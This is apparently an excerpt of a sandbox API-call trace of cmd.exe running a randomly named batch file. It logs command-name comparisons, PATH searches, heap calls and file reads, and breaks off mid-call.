_wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0162.576] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0162.576] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0162.576] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0162.576] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0162.577] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0162.577] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0162.577] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0162.577] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0162.577] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0162.577] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0162.577] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0162.577] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0162.577] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0162.577] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0162.577] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0162.577] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0162.577] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0162.577] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0162.577] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0162.577] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0162.577] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0162.577] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0162.577] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0162.577] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0162.577] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0162.577] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0162.577] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0162.577] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0162.577] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0162.577] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0162.577] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0162.577] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0162.577] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0162.577] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0162.577] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0162.577] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0162.577] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0162.577] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0162.577] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0162.577] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0162.577] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0162.578] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0162.578] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0162.578] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0162.578] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0162.578] ??_V@YAXPEAX@Z () returned 0x1 [0162.578] GetProcessHeap () returned 0x20b0f920000 [0162.578] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f957ff0 [0162.578] GetProcessHeap () returned 0x20b0f920000 [0162.578] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb6) returned 0x20b0f92d680 [0162.578] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0162.578] malloc (_Size=0xffce) returned 0x20b0fa80900 [0162.578] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0162.579] GetProcessHeap () returned 0x20b0f920000 [0162.579] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f967fe0 [0162.580] SetErrorMode (uMode=0x0) returned 0x0 [0162.580] SetErrorMode (uMode=0x1) returned 0x0 [0162.580] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f967ff0, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0162.580] SetErrorMode (uMode=0x0) returned 0x1 [0162.580] GetProcessHeap () returned 0x20b0f920000 [0162.580] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f967fe0, Size=0x48) returned 0x20b0f967fe0 [0162.580] GetProcessHeap () returned 0x20b0f920000 [0162.580] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f967fe0) returned 0x48 [0162.580] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0162.580] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0162.581] GetProcessHeap () returned 0x20b0f920000 [0162.581] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92e2a0 [0162.581] GetProcessHeap () returned 0x20b0f920000 [0162.581] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9269b0 [0162.581] GetProcessHeap () returned 0x20b0f920000 [0162.581] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9269b0, Size=0x1b6) returned 0x20b0f9269b0 [0162.581] GetProcessHeap () returned 0x20b0f920000 [0162.581] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9269b0) returned 0x1b6 [0162.581] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0162.581] GetProcessHeap () returned 0x20b0f920000 [0162.581] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92e460 [0162.581] GetProcessHeap () returned 0x20b0f920000 [0162.581] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92e460, Size=0x7e) returned 0x20b0f92e460 [0162.581] GetProcessHeap () returned 0x20b0f920000 [0162.581] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92e460) returned 0x7e [0162.581] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.581] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d210 [0162.581] FindClose (in: hFindFile=0x20b0f92d210 | out: hFindFile=0x20b0f92d210) returned 1 [0162.581] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.581] GetLastError () returned 0x2 [0162.581] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.582] GetLastError () returned 0x2 [0162.582] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.582] GetLastError () returned 0x2 [0162.582] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.582] GetLastError () returned 0x2 [0162.582] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.582] GetLastError () returned 0x2 [0162.582] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.582] GetLastError () returned 0x2 [0162.582] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.582] GetLastError () returned 0x2 [0162.582] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.583] GetLastError () returned 0x2 [0162.583] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.583] GetLastError () returned 0x2 [0162.583] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.583] GetLastError () returned 0x2 [0162.583] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.583] GetLastError () returned 0x2 [0162.583] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.583] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.583] GetLastError () returned 0x2 [0162.583] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.583] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d1b0 [0162.584] FindClose (in: hFindFile=0x20b0f92d1b0 | out: hFindFile=0x20b0f92d1b0) returned 1 [0162.584] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.584] GetLastError () returned 0x2 [0162.584] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.584] GetLastError () returned 0x2 [0162.584] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.584] GetLastError () returned 0x2 [0162.584] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.584] GetLastError () returned 0x2 [0162.584] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.585] GetLastError () returned 0x2 [0162.585] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.585] GetLastError () returned 0x2 [0162.585] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.585] GetLastError () returned 0x2 [0162.585] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.585] GetLastError () returned 0x2 [0162.585] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.585] GetLastError () returned 0x2 [0162.585] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.585] GetLastError () returned 0x2 [0162.585] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.586] GetLastError () returned 0x2 [0162.586] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.586] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.586] GetLastError () returned 0x2 [0162.586] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.586] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.586] GetLastError () returned 0x2 [0162.586] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.586] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.586] GetLastError () returned 0x2 [0162.586] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.586] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.587] GetLastError () returned 0x2 [0162.587] ??_V@YAXPEAX@Z () returned 0x1 [0162.587] _get_osfhandle (_FileHandle=2) returned 0x54 [0162.587] GetFileType (hFile=0x54) returned 0x2 [0162.587] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0162.587] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0162.588] _get_osfhandle (_FileHandle=2) returned 0x54 [0162.588] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0162.588] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0162.588] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0162.588] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0162.593] ??_V@YAXPEAX@Z () returned 0x1 [0162.594] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.594] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0162.594] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.594] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0162.595] _get_osfhandle (_FileHandle=0) returned 0x4c [0162.595] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0162.595] SetConsoleInputExeNameW () returned 0x1 [0162.595] GetConsoleOutputCP () returned 0x1b5 [0162.595] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0162.595] SetThreadUILanguage (LangId=0x0) returned 0x409 [0162.596] ??_V@YAXPEAX@Z () returned 0x1 [0162.597] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0162.597] _open_osfhandle (_OSFileHandle=0x94, _Flags=8) returned 3 [0162.597] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.597] SetFilePointer (in: hFile=0x94, lDistanceToMove=1416, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x588 [0162.597] GetProcessHeap () returned 0x20b0f920000 [0162.597] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e460) returned 1 [0162.597] GetProcessHeap () returned 0x20b0f920000 [0162.597] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9269b0) returned 1 [0162.597] GetProcessHeap () returned 0x20b0f920000 [0162.597] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e2a0) returned 1 [0162.597] GetProcessHeap () returned 0x20b0f920000 [0162.597] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0162.597] GetProcessHeap () returned 0x20b0f920000 [0162.597] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d680) returned 1 [0162.597] GetProcessHeap () returned 0x20b0f920000 [0162.598] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0162.598] GetProcessHeap () returned 0x20b0f920000 [0162.598] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d5f0) returned 1 [0162.598] GetProcessHeap () returned 0x20b0f920000 [0162.598] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e0d0) returned 1 [0162.598] GetProcessHeap () returned 0x20b0f920000 [0162.598] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0162.598] GetProcessHeap () returned 0x20b0f920000 [0162.598] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0162.599] GetProcessHeap () returned 0x20b0f920000 [0162.599] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92cb10) returned 1 [0162.599] GetProcessHeap () returned 0x20b0f920000 [0162.599] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f928040) returned 1 [0162.599] GetProcessHeap () returned 0x20b0f920000 [0162.599] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92ca50) returned 1 [0162.599] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.599] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x588 [0162.599] ReadFile (in: hFile=0x94, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x122d, lpOverlapped=0x0) returned 1 [0162.599] SetFilePointer (in: hFile=0x94, lDistanceToMove=1425, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x591 [0162.599] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=9, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" \r\n Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\r\n \r\n") returned 9 [0162.599] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.599] GetFileType (hFile=0x94) returned 0x1 [0162.599] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.599] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x591 [0162.599] GetProcessHeap () returned 0x20b0f920000 [0162.600] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f946e70 [0162.600] GetProcessHeap () returned 0x20b0f920000 [0162.600] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946e70) returned 1 [0162.600] _tell (_FileHandle=3) returned 1425 [0162.600] _close (_FileHandle=3) returned 0 [0162.600] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0162.601] _open_osfhandle (_OSFileHandle=0x94, _Flags=8) returned 3 [0162.601] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.601] SetFilePointer (in: hFile=0x94, lDistanceToMove=1425, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x591 [0162.601] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.601] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x591 [0162.601] ReadFile (in: hFile=0x94, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x1224, lpOverlapped=0x0) returned 1 [0162.601] SetFilePointer (in: hFile=0x94, lDistanceToMove=1516, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5ec [0162.601] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=91, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\n \r\n") returned 91 [0162.601] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.601] GetFileType (hFile=0x94) returned 0x1 [0162.601] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.601] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x5ec [0162.601] GetProcessHeap () returned 0x20b0f920000 [0162.601] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f946e70 [0162.602] GetProcessHeap () returned 0x20b0f920000 [0162.602] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946e70) returned 1 [0162.602] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0162.602] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0162.602] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0162.602] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0162.602] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0162.602] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0162.602] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0162.602] GetProcessHeap () returned 0x20b0f920000 [0162.602] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92ca50 [0162.602] GetProcessHeap () returned 0x20b0f920000 [0162.602] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f928040 [0162.602] GetProcessHeap () returned 0x20b0f920000 [0162.602] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92cb10 [0162.602] _tell (_FileHandle=3) returned 1516 [0162.602] _close (_FileHandle=3) returned 0 [0162.603] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0162.603] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.603] GetFileType (hFile=0x50) returned 0x2 [0162.603] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.603] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0162.603] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.603] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0162.608] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: 